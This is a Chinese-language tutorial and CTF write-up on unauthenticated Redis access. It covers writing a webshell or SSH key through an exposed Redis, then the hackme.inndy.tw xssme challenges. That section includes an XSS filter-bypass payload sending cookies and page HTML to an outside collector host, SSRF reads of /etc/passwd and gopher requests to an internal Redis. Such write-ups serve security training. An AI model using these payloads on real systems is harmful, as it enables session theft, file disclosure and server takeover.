初识Redis未授权访问
redis是一种以key-value为键值对的非关系型数据库
redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
安装服务
win
下载地址:https://github.com/MSOpenTech/redis/releases
测试环境:
1 | 操作系统:win7 |
命令行输入redis-server.exe redis.conf
接着查看端口
6379端口(redis默认端口)已经打开
redis成功启动
ubuntu
安装
1 | sudo apt-get update |
启动服务
1 | redis-server |
基本命令
连接redis
1 | redis-cli.exe -h 192.168.107.144 |
查看键为x的值
1 | redis 192.168.107.144:6379> get x |
get所有key
1 | redis 192.168.107.144:6379> keys * |
删除所有键
1 | redis 192.168.107.144:6379>flushall |
漏洞利用
本机通过telnet
命令主动去连接目标机
或者通过redis-cli.exe -h 192.168.107.144
连接
连接成功
输入info获取相关信息
可以看到redis版本号等
利用方式
- 写入一句话webshell
- 写入ssh公钥
写入shell
1 | //设置x的值 |
成功写入目标机
写入ssh公钥
在本地生成一对密钥root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa
接着将ssh公钥写入靶机
1 | root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144 |
再到本地去连接ssh
1 |
|
即可
CTF中的redis(XSS->SSRF&Gopher->Redis)
题目为
题目地址:https://hackme.inndy.tw/scoreboard/
xeeme
泄露
在robots.txt发现泄露源码
是加密了的config.php
xss打cookie
注册登陆后的界面
发邮件有验证
验证写个脚本即可
1 | <?php |
然后过滤了一些东西
用img测试
onload也过滤了
这里注意到一个细节,过滤的是空格加上onerror,猜想是匹配到有空格的onerror才会过滤,于是构造没有空格的onerror,尝试payload
1 | <img src=""onerror="document.location='http://vps/?a='+document.cookie"> |
然后打cookie,成功打到cookie
将SESSION解码
1 | PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS |
xssrf leak
根据上一题的cookie,FLAG_2=IN_THE_REDIS
还是一样的环境
因为拿到了管理员的cookie,于是登陆一下
需要本地登陆,尝试一下伪造xff头
换了几个ip头都没用
于是想到之前做的题,可以直接去打管理员页面的源码
这里 不知道为什么 xss平台接收不到,于是换了一个平台
利用payload<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)">
发现innerhtml被过滤
于是html编码
1 | <img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)"> |
发现收到请求
解个码,放在本地
SSRF读取config.php
猜测send request功能存在ssrf
1 | <img src=""onerror=" |
vps收到请求
解码:
1 | ... |
post请求的url参数
尝试读文件
1 | <img src=""onerror=" |
成功读到/etc/passwd
于是读之前的config.phpFLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}
xssrf redis(ssrf+gopher拿下flag)
根据flag的提示,redis的端口是25566
请求redis配合gopher
1 | <img src=""onerror=" |
成功获取info
查看一下keysxmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");
去读
既然有flag键,那么直接去读flag的值xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");
类型不符合
于是查看类型xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");
是list,返回列表长度xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");
那么获取所有元素xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");
于是写个脚本
1 | flag=""" |
最后flag FLAG{Redis without authentication is easy to exploit}
参考
- https://skysec.top/2018/08/17/xss-ssrf-redis
- https://www.kingkk.com/2018/08/redis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E4%B8%8Essrf%E5%88%A9%E7%94%A8/#%E5%88%A9%E7%94%A8gopher%E8%BF%9B%E8%A1%8C%E6%94%BB%E5%87%BB
- https://www.anquanke.com/post/id/170360
- http://www.runoob.com/redis/redis-lists.html